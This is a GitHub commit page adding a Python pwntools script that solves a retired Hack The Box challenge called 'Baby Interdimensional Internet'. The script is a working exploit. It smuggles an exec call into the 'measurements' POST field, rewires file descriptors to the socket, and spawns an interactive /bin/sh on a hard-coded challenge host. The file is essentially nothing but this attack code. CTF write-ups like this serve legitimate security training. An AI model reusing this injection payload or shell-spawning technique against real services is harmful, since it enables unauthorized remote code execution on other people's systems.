-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Retired HTB Challenge: Baby Interdimensional Internet
- Loading branch information
Showing
1 changed file
with
34 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
# Baby Interdimensional Internet | ||
# POST Parameter Command Injection | ||
|
||
from pwn import * | ||
|
||
#inject command to start interactive shell | ||
#redirect stdin,stdout,stderr to output | ||
command = '1;exec "' | ||
command += 'a=__import__(\'os\');' | ||
command += 'b=__import__(\'subprocess\');' | ||
command += 'a.dup2(4, 0);' | ||
command += 'a.dup2(4, 1);' | ||
command += 'a.dup2(4, 2);' | ||
command += 'b.call([\'/bin/sh\', \'-i\'])"' | ||
|
||
#create the POST body | ||
body = 'ingredient=x&measurements={}'.format(command) | ||
|
||
#build the HTTP POST request | ||
post = "POST / HTTP/1.1\r\n" | ||
post += "Content-Type: application/x-www-form-urlencoded\r\n" | ||
post += "Content-Length: {}\r\n".format(len(body)) | ||
post += "Connection: keep-alive\r\n" | ||
post += "\r\n" | ||
post += "{}\r\n".format(body) | ||
post += "\r\n" | ||
|
||
#use pwntools for an interactive shell | ||
shell = remote('167.71.143.20',32090) | ||
shell.send(post) | ||
shell.interactive() | ||
shell.close() | ||
|
||
|